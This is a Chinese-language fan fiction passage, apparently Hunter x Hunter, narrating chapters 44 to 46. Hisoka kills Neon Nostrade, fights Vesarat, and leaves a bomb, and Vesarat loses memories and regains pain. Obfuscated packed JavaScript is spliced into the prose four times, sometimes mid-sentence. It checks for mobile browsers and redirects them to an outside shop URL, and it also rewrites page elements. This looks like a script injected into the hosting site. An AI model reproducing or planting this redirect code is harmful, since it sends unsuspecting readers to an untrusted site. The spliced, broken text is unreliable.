走在路上,有一搭没一搭地闲聊,可能因为有妮翁在,亚里砂今天的话比往日少了一些,说起的也是些疏松平常的话题,完全不会像往常那样用心地推测某只小狗排便不畅是出于怎样的原因。 不过,倒是知道了妮翁在这个中午和你们走在一起的原因——没什么特别的,就是她太无聊了而已。 “我已经没办法替占卜出任何力了,我在家里差不多就是吉祥物的地位。况且,我听说了,从下个月起诺斯拉家就不会再接取任何占卜请求,所有的业务中心都会转移为安保服务的提供。” 妮翁呼出一口气,在冬日的风里凝成一团转瞬即逝的细小白雾。 “对我来说倒是好事啦。我都没有太多的价值了,想必也不会有人再对我的性命垂涎欲滴。但也没那么好。我在这个家里真正地派不上用场了呢。” 她用轻快的语调说着不那么愉快的话语。 亚里砂忍不住问:“妮翁小姐您还是很希望能够为诺斯拉家做出贡献的,是吗?” “算是吧。比起无所事事,肯定还是希望能提供一点助力的嘛。” 她轻快地蹦跶了几步,比小狗走得都快。 “酷拉皮卡倒是和我说过,要是我愿意的话,可以干脆地隐姓埋名,过自己想要的日子。去想去的大学也好,从事喜欢的工作也罢,想做什么都可以去做,用不着拘泥在诺斯拉家。说不定未来的某天我真的会这么做吧,但现在还是想要继续待在这个家里。” 妮翁是这么说的。 而维瑟拉特差不多只在妮翁说出酷拉皮卡的名字时,才算是真正认真地开始倾听妮翁的话语。 莫名觉得妮翁所转述的酷拉皮卡的话语带着一点微妙的熟悉感——之所以称之为“微妙的熟悉感”,意思是这话并不能够百分百地与她曾经听过的某句话匹配上,但的确和记忆中的某些部分带着相似感,还能多多少少有所重合。 同一套说辞,原来还能说给不止一个人听吗?是实用主义在作祟吧。 要么就是酷拉皮卡真的很支持每个人的自由意志,是那种会为了自由而派出一堆巨人把大地踏平的那种…… ……啊不对她到底在想什么奇奇怪怪的东西,都怪芭蕉把他新买的《进京的巨人》这本漫画借给她看了,所以才害得她在这时候想到的全部都是巨人的事。 思考能力太过泛滥绝对不是什么好事。她果断住脑,虽然下一秒她又开始思考了。还好还好,这次想的不是什么奇怪的事情了,而是纯粹的诺斯拉家的事情。 想到妮翁刚才说,诺斯拉家的经营方向有所调整,不会再接受任何占卜委托了。维瑟拉特第一次听说此事。 顺便想起,诺斯拉家是靠妮翁的精准占卜才发家的这段历史。这一点在之前请旋律帮忙科普家族历史的时候已经好好学习过了,当然她绝不会承认自己已经把旋律教授的内容忘记了一大半。 □□家族的生财之道,原来是说变就可以改变的吗?略感意外。 “真是的,你怎么一副‘莱特·诺斯拉没有对新的安排提出任何意见真是太纳闷了’的表情?” 忽然听到妮翁说,维瑟拉特下意识以为她对话的对象是自己,抬头瞄了瞄,才发现她是在和亚里砂说话。 “爸爸当然不会多说什么了。他在任何时候都是审时度势的家伙——意识到能靠我赚钱的时候,想也不想地把我推出去;如今发现一切都被属下主导,自己只能缩在对方的影子里才能保住当下的一切,就干脆利落地隐身了,但还是很小气地要求酷拉皮卡想办法铲掉兰格雷家以平息自己被侮辱的不满,又让酷拉皮卡给他多加护卫,搞得好像兰格雷家的人会暗杀他一样,真没意思。。” 又在说酷拉皮卡的事情了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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他还挺得意,虽然维瑟拉特完全没有给出他想要的反应。她只茫然地指了指自己。 “和我也有关?” “有点吧。酷拉皮卡好像挺在意你的事,他应该还不希望你出事。你们俩到底是什么关系来着?” 维瑟拉特用力地把围巾挂到衣架上,拉拽出好响一声,“没什么关系。” 与此同时,酷拉皮卡打了个过分结实的喷嚏,险些将他整个人掀翻在地。有人在说他的不好吗? 结果在芭蕉这里也没能问到什么。维瑟拉特想去找旋律,恰巧这段时间她不在,似乎去了邻国收购某件物品。看来只能等到她回来之后再了解情况了。 不想去问酷拉皮卡。维瑟拉特冒出了一种莫名其妙的固执,认为自己必须在知道和这个家更多的事情之后,才能来到酷拉皮卡的面前,询问他将自己置于无知境地的原因。 在旋律回来之前,冬日还将继续,出门前必须系上围巾。 风就是如此寒冷。 妮翁·诺斯拉明显已经喜欢上遛狗这件事了,今天已经是她这个月的第四次遛狗。但她真正中意的不是小狗们,而是这种走出家门说任何话不会被家里的任何人听到的自由感——她知道亚里砂不会出卖她,而经常只会听她们说话却不怎么插嘴的维瑟拉特,一看就口风很严,所以她才能安心地畅所欲言。 维瑟拉特听着妮翁的闲谈,像平时散步的时候那样,习惯性东张西望。看到街角站着一个的奇怪男人,穿着扑克牌花纹的服饰,红发很惹眼。 他在看着妮翁,也注意到了维瑟拉特的视线。 缓缓地,他细长的眼眸移过来,对她露出了笑。 预感不好。 44.坏预感x刺杀x孤注一掷 站在街对侧的那个男人,距离大概只有几米而已,实在称不上遥远。维瑟拉特轻而易举地就注意到了她,当然也发现了,他的目光正从妮翁的身上一点转移到了自己这里。 在四目相对的瞬间,究竟是“这人不对劲”的第一印象最先冒出头来,还是“我有一种不好的预感”率先占领心头?维瑟拉特说不明白。 根本没必要分出先后顺序,已然存在的这两个念头是等级相同的警报,足够激发她的警惕了。 维瑟拉特加快脚步,倏地来到妮翁和亚里砂的前方,一贯喜欢藏在口袋里的双手也拿了出来,不自然地垂在身体两侧。她试图用这种方式使得自己的体型看起来稍显宽阔一些,宽阔到足够将妮翁和亚里砂藏在背后。或许还能顺势遮挡住那个奇怪的红发男人的视线,让他不必将过多的注意力放在其他人的身上。 必须承认,她的动作迅速得有些突兀,也难怪亚里砂会轻轻碰了碰她的后背,询问她是不是出了什么事。 “看到了奇怪的家伙。”维瑟拉特不打算对现状和事实遮遮掩掩,“我们先回去吧……准确地说,我们需要快点回去。” “是吗?”妮翁嘀咕着,对于维瑟拉特的提议虽然没有什么意见,但还是忍不住歪过身子,将视线越过她的身躯,去看那个被她定义为“奇怪的家伙”的红发男人。 她会有这种举动不算奇怪,这完全是年轻人特有的好奇心在作祟。也可能是妮翁觉得,反正自己都已经被那个奇怪男人看到面孔了,自己却还不知道他长什么样,为此就算要以她再被看一眼作为代价也无所谓——她可是很大度的。 “你是说那个红头发的吗?我觉得他也没那么奇怪吧。”妮翁甚至开始评价起来了,“个子挺高,身材不错,脸也还算好看。就是化了个挺怪的妆。” “这人给我一种不太好的感觉,所以还是希望尽快避开他。另外,失礼了,妮翁小姐。” 妮翁一开始还没搞明白维瑟拉特突然对她说“失礼了”的意思,然而下一秒就搞清楚了——维瑟拉特按着她的脑袋,把她重新塞回了自己的身后。 好吧,谅在维瑟拉特是出于她的安全考虑才直接上手的,妮翁这就把刚冒出头来的愠怒感摁下去了,一叠声说着知道了知道了,紧紧贴着维瑟拉特往前走,任由她伸出手拦住自己的肩膀。 维瑟拉特比她高,全速前进的速度快得夸张,轻而易举地就能把她或是亚里砂或是任何一条小狗抛在身后。妮翁觉得自己快要用上短距离冲刺的速度了,但也只是勉强把持了当下的距离而已。别走得这么快呀,她好想这么和维瑟拉特说,可话语却好像和她的躯体一起停在了原地。 她确确实实往前迈了一步,可整个人却并没有因此向前。她停在了原地,无法挪动。有人拽住了她吗? 妮翁和维瑟拉特几乎在同一刻回头——她听到妮翁的脚步已经滞后了。所以能够看到,红发的男人就走在后方的不远处,他抬着手,一条长长的不知所谓的但似乎是念力凝成的半透明物体黏在了妮翁的背上。他甚至没有挪动手指,妮翁整个人竟然就拉扯了过去。 可恶,预感成真了。真该快一点逃走的。 根本来不及后悔了,维瑟拉特果断地把亚里砂推远。“快点逃!”她冲亚里砂大吼,“你先逃,什么别的都别管!” 亚里砂僵在原地,可能是恐惧作祟,或者是良心的拷问。她不想丢下同伴独自溜走。 “快走啊!快走!”维瑟拉特催着她,“我会处理好一切的,我会带着妮翁回家!快点!” 再不离开的话,一定就没有时间了。她绝不希望在此时此地看到亚里砂的死亡。 亚里砂咬紧了唇,她也知道自己不能再犹豫了,更不能辜负他人的期待,只能丢下一句“拜托你了”,被狗狗们拉拽着逃进一旁的小巷。 街上居然这么安静吗?维瑟拉特现在才意识到这一点,也这才发现这条还算宽敞的马路上只有她自己、被念束缚的妮翁,还有红发的男人——如果酷拉皮卡也在这里,他会告诉维瑟拉特,眼前男人的名字叫做西索,如她的预感一样,是个危险的家伙。 但就算不知道西索的名字也无所谓,这不重要。 维瑟拉特掷出弯刀,在西索接刀的瞬间冲上前去,想要直接夺回妮翁。可她的行动似乎有些太急切了,又过于显而易见,虽不算漏洞百出,但至少出现了足够多的突破口。正当她的手抓住西索的肩膀时,他直接用刀斩断了她的手腕。 “你猜想到你的刀会给自己带来伤口吗?”他说的话简直像是挑衅。 无所谓,维瑟拉特又不会被他刺激到。 “嗯。”她说,“我想到了。” 她的断手还留在西索的肩膀上,这就足够了。她的后半句话被淹没在爆炸声中,西索几乎要被被爆炸的冲击波推倒在地,碎骨头也刺进了她的脖子里,她感觉到了,但只要没有刺穿血管就无所谓。暂时也没有时间对自己进行治疗了,维瑟拉特拨开四散的血雾,把妮翁直接扛到肩膀上。接下来,赶紧逃走就可以…… “脸都要被打碎了,还好挡了一下。你的能力很有意思呢。”西索在笑,“但你不太像是苹果呢,因为你没有那种甜美的感觉,亏你还长着和苹果皮颜色完全一样的头发。” 无声无息的,维瑟拉特肩上的妮翁消失无踪了——她再一次被西索拽走。 “我该怎么形容你才好呢?我得好好地想一想了。” 血雾终于全部散开,西索垂下手。他将念力凝聚在了掌心里,借此挡下了爆炸的绝大部分冲击。血淋淋的他的手掌沾染的到底有多少是他的伤口喷溅出的鲜血?维瑟拉特不自觉地开始思考这个问题。 眼前的男人是过往很少会接触到的那种过分机灵过分狡猾的家伙,她真的很需要知道自己的攻击对这个男人造成了多大的伤害,这样才能确认下一步的行动。 在此之上,更加重要的事情肯定是要赶紧把妮翁带回来。无论是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17087197|191976||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和平的对决还是干脆利落地杀死西索,全都不是当下的任务。她的工作是安全地把妮翁带回家,在这件事上她已经答应亚里砂了。 完成工作当然不会是什么简单的事情。 妮翁被西索的念能力控制着,追逐妮翁就像是追着逗猫棒,她会被拉拽到各种位置,害得维瑟拉特数次扑空,变成愚蠢的猫,苦苦追逐的样子一定很可笑。 很快维瑟拉特就意识到了,自己的行为正在被西索摆布。他在故意逗弄她,是看出了她根本不情愿和他战斗吗——所以他的目的到底是什么?无所谓了,就给他想要的吧。 维瑟拉特变换目标,锁定了西索,他本就飞扬的眉毛在这个瞬间抬得更高,看起来兴奋到像个变态,并拢的五指直直地朝她的心脏刺过来,速度快得惊人,是想要只用一击就让她殒命吧。 只要她想,完全可以躲开这一击,这般疾速的攻击难以改变方向,只要比他的速度再快上那么一点点,就可以做到了,绝不是什么难事。但维瑟拉特没有这么做。 反正感觉不到疼痛,反正致命伤不至于真的夺走性命,那也没有必要躲闪了。 趁着这个时机,她果断攥住西索的头发,把他的脑袋狠狠砸到地上,最好整个头盖骨也随之裂开吧,她都听到骨头裂开的声音了。可西索还是笑着,甚至笑得更加高兴了。这反应让维瑟拉特感到困惑。 这家伙难道和她一样,也感觉不到疼痛吗?应该不是。爆炸的时候他露出了很明显的吃痛表情,痛楚对他而言一定是切实存在,既然如此…… “哈哈。哈哈哈。”他还在笑,“我的委托完成了。顺便一提,虽然今天的行动是在完成兰格雷的雇佣,但我其实本来就准备杀掉妮翁·诺斯拉。” 她曾经拥有、却被库洛洛夺走的占卜能力会给他想要的对决带来一大堆麻烦,还是趁早解决掉比较好。 这家伙在说什么东西? 直到此刻,才有一点重量压在了维瑟拉特的背上,温热的液体顺着她的脖颈流下来。她回过头,看到了妮翁的眼眸,浑圆的瞳孔已然扩散到了虹膜的边缘。刺穿了她的胸膛的那只手,也刺穿了妮翁的心脏。 怎么会……直到感觉到重量为止,她都不曾觉察到身后有人,怎么会…… “我知道你不会躲的,因为你对疼痛无所谓。”西索左右拧着脖颈,抽出一张扑克牌,抵在她的脖颈上,很自在的姿态,“突然想起来,我刚才好像不应该告诉你关于我雇主的事。嗯……该拿你怎么办呢?说起来,刚才还有另一个人在来着。那家伙也挺麻烦的,得一起处理掉。” 刚才的另一个人……处理掉……啊,亚里砂。 亚里砂。亚里砂。亚里砂亚里砂亚里砂亚里砂—— 亚里砂现在逃到哪里了?亚里砂到家了吗?亚里砂也会死掉吗? 不可以。 不想让她死掉。想要让她活下去。 维瑟拉特做出了决定。她必须杀死西索。 45.自主性x拿首好戏x疼痛 想要杀死一个人。如此强烈地想要杀死一个人。 但不是为了杀戮而进行的杀戮,她只是想要…… 过分强烈的这番决定很突然地闯进心头。对于维瑟拉特而言,这一定是前所未有的陌生冲动。 在今日与此刻之前,她从没有那么渴望地、那么自主地想要去做什么事,此刻落在心头的冲动全部都是陌生的。但这份未曾造访的冲动感不至于让她感到恐惧或是不适,当然也不带来无用的激动或者期待,诸如此类的感情副产品根本不存在。 唯一的感觉是,自己碎了一半的心脏正在过分快速地鼓动着,催促她立刻行动。 西索很中意维瑟拉特现在的表情。 真的,她看起来那么认真,那么执着,专注地要杀死她,甚至还有一份强烈的执念正在她赤红色的右眼中燃烧,即便不知道她的执念是什么,也能够很轻易地被这份赤红的颜色吸引,难怪会有人想要追逐这抹鲜艳的色彩。 西索呵呵呵地笑起来。他对火红眼不感兴趣,此刻能感觉到的这份欣喜相当纯粹,完全就是战斗的愉快。前来杀死妮翁果然是再正确不过的选择,还能买一送一收获相当不错的赠品一战,真该谢谢那个叫兰格雷的家伙在最适当的时候发起了暗杀的委托。 他眯起眼,从她的胸膛中抽出右手,笑着说:“我们就来斗个尽兴吧。当然了,不是非得……” 说到这里时,他的话语顿了顿。 他发现自己的手无法挪动。 维瑟拉特的贯穿伤开始愈合了,破碎的心脏重新连接,裂开的伤口也将合拢,骨头霸道地穿透了西索的小臂,脉络与血肉像针线那般刺进了他的皮肉里,将他的手臂缝在了她的胸膛里。他试着施加了更多力气,但似乎没有什么显著的效果。 “真变态呢。”他露出了相当嫌弃的表情——这种物理意义上的血肉交融可不是他喜欢的招数。 但如果维瑟拉特在这时候回应一句“不如你变态”的话,说不定他还能高兴起来,可是她根本不说话,飞快地把他的另一只手拧到背后去,用他的手臂勒住他的脖颈,绝对是对于刚才他用了她的刀砍下了他的手的复仇。 “对我来说,这可不算什么。我只是需要……” 他猛地抽出手,捏在指间的红桃A在她的胸口挖了一个大洞,小臂就此得意轻松脱离躯干的包裹,虽然手臂上还是拧着一团她的血肉,看起来像是一颗瘤子。 “把肉切开来,就能摆脱你的桎梏了。这一招对你的伤害反而更大一点吧。” “是吗?”她无所谓。 她又感觉不到疼痛。况且,血肉嵌入了他的手臂里,这才是她真正想要的。 一如既往,她会引爆自己的一部分。这次可就别想躲开了。 炸裂的骨血重新填进维瑟拉特空洞的胸口,地面与西索的手臂上还留着一大滩鲜明的血迹。这次总算可以鲜明地看到他的伤口了,缺失了好几根手指的手看起来真难看。维瑟拉特想,他以后都没办法用这只手玩石头剪刀布了,真是……好可怜,好好笑。 维瑟拉特想笑,她也确实笑起来了,嘴角完全没有扬起,只是张开了嘴发出了连续不断的“哈”的声音,动作却一刻不停,努力将他扳倒在地。 她与西索之间的体术差距并不大,非要说是什么原因让她迟迟没能杀死西索,大概是她没有那么花里胡哨的念能力吧。强化系的特质只强化了她的力量和恐怖的愈合能力,但并不能像西索那样玩出花样百出的狡猾招数。好在这也不是什么大事,她还是能够找到完美的机会,轻巧地跳上他的肩膀,十指刺入他的下颚,紧紧钳住他的头颅。 “要把我身体的一部分拔掉吗?” 她踏着的西索的身影居然开始摇曳起来,像是被风吹动的银幕。 “你这家伙,好血腥啊。我想好你是怎样的水果了。” 身影的晃动愈发明显,虚妄的消失无踪。她握住的并不是西索的脑袋,而是他的小腿。 西索在自己的整个身上都施加了一层轻薄的假象,将此刻使用一字马的姿势站立着、只用一只手和一条腿保持平衡的身躯塑造成了正常战立的姿态,此刻小腿所在的位置正是维瑟拉特误认为的他的脑袋。 维瑟拉特抽出钢琴线,把勒断的小腿丢到行道树上。 “真变态。”她终于说出这话了。 但现在西索就算是听到这番发言也不会觉得高兴了。眼前这个变态(是的会毫不犹豫地把别人的肢体破坏掉的维瑟拉特已经被他定义为变态了)不会感到疼痛,可他多多少少还是会疼的。而痛楚一定会磨掉好心情,尤其是在意识到自己很快就要处于下风的情况之下。 “你像颗柠檬一样,又尖锐又酸涩。”他拧着脸,很不高兴,“一点也不想把你吃掉。” 维瑟拉特也不高兴,“我不是用来吃的。” 她说着,此刻依然站在西索的身上,蜷起身子,伸手用钢琴线去够他的下巴,只要能够套住,用力一扯这家伙就会一命呜呼。很可惜,依然是轻薄的假象,钢琴线圈成的套索只套中了空气,反而是她的头发被拽住了。西索捡起了被他随手丢掉的她的弯刀,划开了她的脖颈,刀刃继续深入,直至没有任何一段骨肉可以被切断。 “今天就到此为止吧,我想我们会再次见面的。” 西索把她的脑袋夹在腋下,捡回树上的断腿,一蹦一蹦地离开了。得去找个医生把腿安回去才行了,他想。 回头看看,失去了脑袋的柠檬僵硬地站在那里,失去了大脑的指引后,再也无法行动或是前进,只余下心跳声依旧明晰。他就知道,这个变态果然是砍掉脑袋也死不了的。 没能在今天杀死维瑟拉特,西索倒是不觉得多么失望。一路来到三条街之外,夹在腋下的她的脑袋猛得从他的臂弯间被抽走,恍恍惚惚之间,能隐约看到无数条细线般的气连接在了断口的创面上,拉拽着重伤的头颅回到躯体所在的地方。 看吧。真是变态。 一点都不想被她追上呢。 西索冲她做了个鬼脸,但她没能看到。 伤口需要时间愈合,她似乎过了很久,才感觉到意识对四肢的控制力。 眼前还是漆黑的一片,眼睛还没恢复吧。她抬手,触摸着自己的头部,湿漉漉软乎乎,像个破碎的肉球,不知道被破坏成什么样了。好像听到有人一直在喊“维瑟拉特小姐”,那是谁?哦……对,那是她,她是维瑟拉特。 有穿着黑西服的好几个人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17095751|191976||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 朝她所在的方向跑过来,其中还有几条狗。维瑟拉特环顾四周,地上躺着少女的尸体,还有杂乱的血迹。发生什么了?想不起来。好像是和什么人战斗了,好像必须杀死那个人,因为她必须要…… “……亚里砂。” 脑袋好难受。她用力敲打太阳穴。 “亚里砂?” 黑西服的人跑过来了,着急地询问她是否还好,她当然听见了,但是无暇回答,匆忙拽住他们的衣袖。 “亚里砂呢?亚里砂在哪里?” 她将目光扫过周围的每一个人。 “你们看到亚里砂了吗?亚里砂呢?” 有个女人跑过来,急切地握住她的手。 “我没事!我没事!我叫来增援了!” 维瑟拉特很茫然地看着她,“……你是谁?” 她的眼泪一下子溢出来,“我是亚里砂。” “你就是亚里砂吗……好……” 至少,至少亚里砂还活着。 “那个,维瑟拉特小姐!” 有人在喊她。 尽管知道这就是自己的名字,维瑟拉特还是愣了几秒之后才回头。同僚举着一个包,问是不是她的。 “包里好像有什么声音。”他说,“滴答滴答的。” “让我看看。” 维瑟拉特不知道这是不是自己的所属物,她想不起来了。但滴答滴答的声音吗?她有点在意。 拉开拉链,里头装着黑漆漆的什么东西,还有缠绕的电线。 是西索留下的礼物,一颗漂亮的定时炸弹。 现在,倒计时还剩十秒钟。 “散开,快点趴下!快点!” 然后呢,然后怎么办? 完全没时间做出更深层的判断,维瑟拉特其实也不知道该怎么做,总之随便挑了个看起来很空的方向,用力一掷,把整个包丢了出去。 这样就安全了……吧? 汪汪的一连串叫声从身旁经过,有只调皮的牧羊犬以为在玩丢骨头游戏,欢快地撒开腿跑过去接。糟透了。 维瑟拉特根本没有思考,还没反应过来的时候就已经冲出去了。 短暂的十秒,眨眨眼就会走到尽头。轰然巨响撼动大地,炸弹的碎片落了满地,空气里都是刺鼻的化学品气味。 亚里砂的耳朵在鸣个不停,她艰难地站起来,环顾四周。大家好像都没事,但是…… 她艰难地朝维瑟拉特所在的方向走过去,那是距离爆炸中心最近的地方。维瑟拉特就蜷缩在那里,弓起的脊背鲜血淋漓,是炸弹的破片刺进了她的身体里。被她紧紧抱住的那只调皮的狗倒是一切都好,还在轻轻舔着她的脸,可能也觉得抱歉吧。 “维瑟拉特……你还好吗?” 亚里砂轻轻触碰她的肩膀,她猛得颤抖了一下。 没有应声,也没有回答,维瑟拉特只是蜷缩着,额头抵在地面上,浑身都在颤抖。 好烫,一种滚烫的感觉覆盖在她的后背上,尖锐得好像穿透了整个身体,让她根本无法呼吸,眩晕感在她脑海中滚动着嗡嗡的声音。好奇怪,好诡异,好难受,好…… 维瑟拉特发出尖叫。 “……好痛!” 46.任务失败x安抚x你是谁 好痛。好痛。好痛。 如此撕裂般的炙热,如此久违的感触,在毫无心理准备的这一刻,排山倒海般压在维瑟拉特的脊背上,思考也被彻底中断。有那么短暂的几个瞬间,她甚至觉得自己肯定没有办法挨过这样的痛楚。怎么可能会有人能够承受这般尖锐的疼痛感? 陌生却猛烈的痛楚让她的自我彻底蜷缩起来了,如同她颤抖不止的身躯,只能缩成渺小到近乎卑微的存在,就连不可自已的仓皇呼吸也一定是她的自我正在逐渐消失的佐证,大脑只被“我很痛”这一个概念占据着,根本没有办法思考更多,她也不知道接下来该怎么做才好了。 亚里砂第一次看到她这样。 确切地说,这是她第一次见到失去疼痛的人再次接触到疼痛会是怎样的煎熬。根本无法想象,也根本不可能做到贴心的换位思考了,况且此刻被伤痛压垮的,还是那个平日里在任何时候都很冷静的维瑟拉特…… 亚里砂不会被吓到,她只是不可避免地慌乱了,好在尽早地回过神来了,赶忙把手伸进口袋里摸索,祈祷着能够摸出止痛药。 虽然她没有随身携带止痛药的习惯,但也许今天就恰巧带在了身上,还可以帮上维瑟拉特的忙呢?她如此期待着。 很可惜,今日的期待只能落空了。她的口袋里装着的只是一些无关紧要的、根本无法为她的朋友缓解疼痛的东西。 看着维瑟拉特这样,亚里砂也很难受。还有什么是她能做的吗?她不敢浪费太多的时间进行思考,匆忙握住维瑟拉特的手。 “没事的,没事的。”亚里砂轻轻抱着她唯独没有受伤的脖颈,用额头轻轻贴着她的,“深呼吸,跟着我一起呼吸吧。呼气——吸气——你做得很好,我们再重复一遍好吗——呼气——吸气——你觉得好一点了吗?” 不,并没有好到哪里去。 放缓了呼吸,短促激烈的痛楚就此变成了缓慢且依旧激烈的疼痛,撕裂般的感触转为一种像是什么人在用一把锯子在她的脊背上来回拉扯的感觉。但维瑟拉特咬住了牙,没有再发出那种无意义的尖叫。 亚里砂轻轻抱着她,安慰她。 “没事的,我们马上就能回家了,到时候医生可以治好你的伤口……对了,你是不是自己也可以进行治疗?我记得你以前告诉过我,你的愈合能力很强。” “……是的。” 完全被疼痛感占据了心神,维瑟拉特忽略了一贯在受伤后会进行的愈合操作。伤口愈合就不会再痛了。这一点她还是知道的。 但在伤口完全合拢之前,所进行的一切干预手段都是疼痛的。维瑟拉特根本站不起来,她花了很长的一段时间才终于确认所有的疼痛都从身体里消失了。 在这些时间里,妮翁的尸体已经被搬回家了,多数的同僚都已先一步回到诺斯拉家,少数几人留在原地,以免还会有接下来的袭击。有警方前来调查,考虑到这不是正大光明能够走法律程序解决的案件,相比最后也在诺斯拉家或是兰格雷家的干预下不了了之吧。 亚里砂一直陪着她,扶着她从一片狼藉的地面上站起来。 “我们回家吧。”亚里砂说。 维瑟拉特很迷茫,“家?” 她想,她没有家,因为窟卢塔已经被灭族了,而且……而且什么来着?想不起来了。 可亚里砂会点点头,告诉她:“嗯,回家。现在诺斯拉就是我们的家。” “好。” 好像有一点想起来了,她被诺斯拉家的人买下来了,现在她正在这里工作。所以诺斯拉是她的家。 宅邸不算太远,却也不那么近。爆炸之前发生的一部分事情,维瑟拉特是从亚里砂那里知道的,原来今天她们的遛狗事业才刚刚进行到了一半,就遇上了那个像小丑一样的男人。亚里砂知道,必须要找人帮忙才行,但警察局比诺斯拉的宅邸更加远,幸好手机就在身边,她躲进了别人家的后院里,向诺斯拉家请求了增援,可惜等护卫队抵达的时候,那个男人已经消失无踪了。 “还好那家伙长得很显眼,只要用心去找,肯定能够找到的!”亚里砂愤愤地说,“无论如何,至少莱特先生不能再这件事上息事宁人……去世的可是妮翁小姐啊!” “那个人……” 想到西索时,维瑟拉特会感到无比强烈的愤恨,还有“必须做点什么”的冲动。这些情绪都太炽热了,足以让她想起一些事情。 “那家伙有个雇主,但他说他自己也很想要杀死诺斯拉的小姐。”维瑟拉特眯了眯眼,努力回忆,“雇主好像是——” 还来不及说出那个舌尖上的名字,亚里砂迫不及待地打断她:“真的吗,你知道幕后黑手是谁?那得赶紧告诉莱特先生他们了!” 说着,她拉着维瑟拉特赶快往前走。真想不到她的步伐这么快,维瑟拉特觉得自己完全是被她拖着往前,一路走进了不那么眼熟的那个宅邸。 维瑟拉特被带到了莱特·诺斯拉的办公室。几分钟之后,酷拉皮卡也进来了。他是在听说了妮翁的事情之后匆忙赶回来的,进门时也只是短暂地朝莱特点了点头,而后快步走到维瑟拉特身旁,小声问她,是不是一切都好。 “呃……嗯。” 她垂下眼,目光扫过他手背上的锁链。但酷拉皮卡并未注意到这个小动作。“你没事,是吗?”他不自觉地又问了一遍。 “是的。”这次维瑟拉特给了相对确切的答复。 酷拉皮卡勉强能稍微松一口气了,“那就好。” 他继续向前,走到莱特的身旁才停下,贴在他的耳边告诉他,妮翁的遗容已经整理好了,如果他愿意,现在就可以去她的房间里再看看她。这话让莱特痛苦地皱起脸,他对酷拉皮卡摆了摆手。 “妮翁那边……我稍后去看她。在此之前,”他睁开愤恨的双眼,看着维瑟拉特,“我想知道,事情是怎么发生的。还有,是谁做出了这一切。你心里有数,对吧?” “是的。”维瑟拉特低下头,额前垂落的碎发挡住了她的大半张脸,“具体的情况,我想不起来了,抱歉。我记得的部分是,那个男人穿着扑克牌团图案的服饰,头发是红色的。他说漏嘴了,说出了自己的雇主是名叫兰格雷的家伙,而他可能意识到了这一点才想杀了我。不过他最后逃走了。就是这样。” 细节无需赘述,况且她也想不起来了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17100173|191976||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “兰格雷……又是这家伙……” 莱特的情绪压不住了,攥紧的拳头狠狠砸向桌面,咬牙切齿地咒骂着这个曾经的商业伙伴,骂够了才抬头去看酷拉皮卡,语气一下子软了下去。 “我不是已经请你对付掉兰格雷和他的整个家族了吗?”他质问着,但由于话语实在太过柔软,听起来根本不像是合格的质询,“为什么那家伙还是能对我的家族下手?” “或许是负隅顽抗吧……很抱歉,我没有预见到他们瞄准的对象会是妮翁小姐。” 酷拉皮卡以为兰格雷只会对准莱特的,最近的安保重心因此挪出了很大一部分转移到了莱特的护卫之上。和莱特的想法一样,他也不希望妮翁出事。 可还是出事了。 莱特疲惫地叹息着,艰难地从办公椅上坐起来,脚步沉重,许是被这场死亡打击到了,半晌不说话,只是绕着窗台踱步。 “你会处理掉兰格雷,替妮翁报仇的,对吧?”他沉默很久之后这么说。 “是。” “你要确保兰格雷死无全尸才行。否则,不止妮翁或是我,整个家都会遭殃。” 酷拉皮卡不自然地皱起鼻子。他并不想要屠戮,可当下也只能说:“我会这么做的。” “那就……拜托你了。” 莱特紧绷的面孔这才稍稍松懈了一些。他将办公椅转向酷拉皮卡,快步走出办公室。 只剩下他们两个人了。酷拉皮卡终于可以尽情地叹出沉重气息,坐在莱特为他准备好的座椅上,低垂的头颅几乎要触碰到膝盖。他花了点时间思考和冷静,而后才抬起头来,看向维瑟拉特。 “你刚才说,你想不起妮翁遇袭时的具体情况了。”他敏锐地捕捉到了这一点,“你又受到重伤了,是吗?” “是的。” 想要尽力避免的事情果然又发生了。 酷拉皮卡僵了片刻,终于挣扎着站起身,来到她面前。他不那么敢问,可他知道自己必须要问。 “你还记得什么事吗?”他不自然地喘了口气,“名字、身份、回忆……或是之类的。” “我叫维瑟拉特,是窟卢塔的子民。亚里砂说我是诺斯拉家的一员。” 太好了,至少她还记得窟卢塔的事情。 酷拉皮卡伸出手,轻轻触碰她的脸颊。 “疼吗?” 总觉得听过这样的话。“战斗结束之后,不疼。但是,”她觉得自己需要坦白地告诉他,“发生爆炸的时候,很痛。” “是吗……现在你能感觉到疼痛了?” “嗯。” 